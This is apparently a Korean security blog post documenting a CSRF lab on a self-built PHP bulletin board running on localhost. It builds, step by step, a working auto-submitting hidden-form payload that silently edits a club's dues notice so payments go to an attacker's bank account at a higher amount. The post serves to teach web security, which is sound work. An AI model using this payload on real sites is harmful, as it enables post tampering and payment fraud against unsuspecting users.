일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- Digital Forensics
- Network
- C
- Incognito
- 정렬
- Web
- xcz.kr
- Database
- N0Named
- Forensics
- 백준
- writeup
- Text
- CTF
- 사칙연산
- 인코그니토
- 구현
- 써니나타스
- wargame
- cryptography
- Web Hacking
- php
- Python
- 문자열
- misc
- 수학
- MySQL
- 그리디 알고리즘
- SuNiNaTas
- HackCTF
- Today
- Total
보안을 그리다, 훈이
[Web Hacking] CSRF(Cross-Site Request Forgery) 실습 본문
앞서 포스팅한 [Web Hacking] CSRF(Cross-Site Request Forgery) 취약점을 토대로 실습을 진행해보았다.
CSRF(Cross-Site Request Forgery) 실습
미리 구현한 게시판 환경에서 실습해보도록 하겠다.
본 웹페이지를 한사랑산악회 게시판이라고 가정, 운영진이 [한사랑산악회] 회비 납부 관련의 건.을 제목으로 한 게시글을 업로드하였다.
산악회 회원이라면 당연히 위 게시글을 읽어야만 할 것이고, 이후 명시된 바와 같이 기한 내에 30만원을 산악회 계좌번호로 납부할 것이다.
여기서 본 산악회 게시판이 CSRF 기법에 대한 방어가 제대로 갖춰져 있지 않다면 요청을 위조(Request Forgery)하여 해당 게시글을 수정하거나 삭제하는 등 공격자가 행하고자 하는 각종 공격에 취약할 수 밖에 없다.
분석을 위해 hacker 계정으로 게시판에 로그인하고 test 게시글을 작성한 후, 수정 기능을 이용하여 수정 웹페이지인 modify.php의 소스코드를 보도록 하겠다.
<!-- modify.php -->
<!DOCTYPE html>
<html>
<head>
<meta charset='utf-8'>
<style>
table.table2 {
border-collapse: separate;
border-spacing: 1px;
text-align: left;
line-height: 1.5;
border-top: 1px solid #ccc;
margin: 20px 10px;
}
table.table2 tr {
width: 50px;
padding: 10px;
font-weight: bold;
vertical-align: top;
border-bottom: 1px solid #ccc;
}
table.table2 td {
width: 100px;
padding: 10px;
vertical-align: top;
border-bottom: 1px solid #ccc;
}
</style>
</head>
<body>
<form method="POST" action="modify_action.php">
<table style="padding-top:50px" align=center width=auto border=0 cellpadding=2>
<tr>
<td style="height:40; float:center; background-color:#3C3C3C">
<p style="font-size:25px; text-align:center; color:white; margin-top:15px; margin-bottom:15px"><b>게시글 수정하기</b></p>
</td>
</tr>
<tr>
<td bgcolor=white>
<table class="table2">
<tr>
<td>작성자</td>
<td><input type="hidden" name="id" value="hacker">hacker</td>
</tr>
<tr>
<td>제목</td>
<td><input type=text name=title size=87 value="test"></td>
</tr>
<tr>
<td>내용</td>
<td><textarea name=content cols=75 rows=15>testing</textarea></td>
</tr>
</table>
<center>
<input type="hidden" name="number" value="7">
<input style="height:26px; width:47px; font-size:16px;" type="submit" value="작성">
</center>
</td>
</tr>
</table>
</form>
</body>
</html>
<form> 태그를 통해 modify.php에서 입력받은 데이터를 POST 형식으로 modify_action.php 웹페이지로 전송함으로서 게시글 수정이 발생한다는 것을 파악할 수 있다.
위 소스코드를 참고하여 CSRF 스크립트를 제작하도록 하겠다.
먼저, <form> 태그와 <input> 태그를 남겨두고 쓸데 없는 코드들은 모두 지워보았다.
<form method="POST" action="modify_action.php">
<input type="hidden" name="id" value="hacker">hacker</td>
<input type=text name=title size=87 value="test"></td>
<!-- <textarea name=content cols=75 rows=15>testing</textarea></td> -->
<input type="hidden" name="number" value="7">
<!-- <input style="height:26px; width:47px; font-size:16px;" type="submit" value="작성"> -->
이제 게시글 수정 시 전송되는 파라미터 등을 스니핑하여 파악하기 위해 웹 프록시 툴인 Burp Suite를 사용하여도 되지만 지난번에 사용했으므로 이번에는 패킷 분석 툴인 Wireshark를 사용하여 분석해보았다.
위 그림은 게시글을 수정할 때 오가는 패킷이다.
POST 형식으로 /modify_action.php에 작성자(id)와 게시글 제목(title), 게시글 본문(content) 그리고 게시글 번호(number)가 함께 전송되는 것을 확인할 수 있다.
따라서, <textarea> 형식을 사용하던 게시글 본문(content)을 <input type="text"> 형식으로 변환하여 다음과 같이 파라미터 형식에 추가한다.
<form method="POST" action="modify_action.php">
<input type="hidden" name="id" value="hacker">
<input type=text name=title value="test">
<input type=text name=content value="testing">
<input type="hidden" name="number" value="7">
이제 한사랑산악회 계정으로 작성된 [한사랑산악회] 회비 납부 관련의 건. 게시글을 수정해보도록 하겠다.
수정하고자 하는 게시글의 번호(number)는 6으로 세팅하고, 작성자(id)인 한사랑산악회, 게시글 제목(title)인 [한사랑산악회] 회비 납부 관련의 건.은 그대로 두도록 한다.
<form method="POST" action="modify_action.php">
<input type="hidden" name="id" value="한사랑산악회">
<input type=text name=title value="[한사랑산악회] 회비 납부 관련의 건.">
<input type=text name=content value="testing">
<input type="hidden" name="number" value="6">
기존 게시글 본문(content)에 대하여, 산악회 계좌번호를 공격자의 계좌번호로, 납부금액은 기존보다 인상한 금액으로 아래와 같이 변경하려고 한다.
[공격자의 계좌번호로 변경]
OO은행 1234-567-890123 한사랑산악회 → □□은행 0909-090-090123
(※ 예금주명 삭제)
[회비 납부금액 변경]
일금삼십만원정(₩300,000) → 일금오십만원정(₩500,000)
파라미터를 관리자 몰래 전송하기 위해 모든 type은 hidden으로 변경한다.
또한, <form> 태그의 action은 절대경로로 입력하여야 하고, name은 임의로 지정한다.
단, <body> 태그의 onload에 명시된 document와 submit 사이에 동일한 name이 존재하여야 한다.
CSRF 코드를 최종 정리해보면 다음과 같다.
<body onload="document.csrf.submit();">
<form name="csrf" method="POST" action="http://127.0.0.1:8080/modify_action.php">
<input type="hidden" name="id" value="한사랑산악회">
<input type=hidden name=title value="[한사랑산악회] 회비 납부 관련의 건.">
<input type=hidden name=content value="열쩡! 열쩡! 열쩡!</br></br>안녕하십니까!</br>한사랑산악회 회장 김 영 남 인사 올립니다.</br></br>우리 산악회 「회칙」 제7조제2항제1호에 의거하여 2021년 4분기 회비를 아래와 같이 납부하여 주시기 바랍니다.</br></br></br>---------------------------------------- 아 래 -----------------------------------------</br></br>[2021년 4분기 회비 납부 안내]</br></br>계좌번호 : □□은행 0909-090-090123</br>납부금액 : 일금오십만원정(₩500,000)</br>납부기한 : 2021년 11월 15일</br>">
<input type="hidden" name="number" value="6">
</form>
위 코드는 해당 웹페이지 접속과 동시에 CSRF 코드를 수행하도록 한다.
위와 같이 게시판에 최종적인 CSRF 코드를 게시하였고, 본 게시글을 클릭하면 '수정되었습니다.'라는 alert 창과 함께 공격자가 의도한 대로 한사랑산악회 게시글이 수정되는 것을 확인할 수 있다.
이렇게 CSRF 실습(수정)이 성공적으로 완료되었다.
'Security > Web Hacking' 카테고리의 다른 글
[Web Hacking] PHP extract() function 취약점 (1) | 2022.01.20 |
---|---|
[Web Hacking] CSRF(Cross-Site Request Forgery) 취약점 (0) | 2021.10.28 |
[Web Hacking] XSS(Cross-Site Scripting) 실습 (0) | 2021.10.27 |
[Web Hacking] XSS Cheat Sheet (0) | 2021.10.27 |
[Web Hacking] XSS(Cross-Site Scripting) 취약점 (0) | 2021.10.25 |